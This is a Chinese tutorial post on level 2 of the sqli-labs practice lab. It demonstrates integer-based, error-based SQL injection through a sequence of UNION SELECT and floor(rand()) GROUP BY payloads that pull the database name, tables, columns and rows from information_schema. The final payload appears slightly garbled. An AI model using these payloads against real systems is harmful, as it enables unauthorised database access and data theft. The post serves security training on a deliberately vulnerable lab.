sqli-labs之Less-2讲解(报错型注入-整数类型)

1. 这是一个数字类型的报错注入,最常用的手法是在后面输入-1测试,比如
当我们构造语句:

index.php?id=2

显示为Angelina,但是当我们在2的后面输入-1的时候,页面返回值变为了Dumb(即index.php?id=1的返回值),说明-1被带入了SQL语句中,此处很可能存在SQL注入漏洞
sqli-labs之Less-2讲解(报错型注入-整数类型)

2. 查询字段

index.php?id=1 order by 3

经过检测发现存在3个字段

2. 爆数据库
此篇依旧使用报错型注入手法进行操作,与上一篇文章稍有不同

index.php?id=1 union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a

得出数据库名字为:security
sqli-labs之Less-2讲解(报错型注入-整数类型)

3.爆表

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

在这里因为使用了LIMIT限制语句,所以每次只会爆出来一个表,可以通过变换LIMIT的第一个参数来进行表的更换查询
比如:

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

这条语句便是查询的第1张表,上一条语句查的是第0张表
sqli-labs之Less-2讲解(报错型注入-整数类型)

4.爆字段

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='emails' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

同样这里的LIMIT同上,是可以更换值来查询不同的字段
经查询一共存在id和email_id两个字段
sqli-labs之Less-2讲解(报错型注入-整数类型)

5.爆数据

union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,id_,0x7e,email_id,0x7e) FROM emails limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

成功获得数据,LIMIT亦同上
sqli-labs之Less-2讲解(报错型注入-整数类型)

  1. RN说道:
    Google Chrome Windows 10

    hey 墨恒

发表评论

电子邮件地址不会被公开。必填项已用 * 标注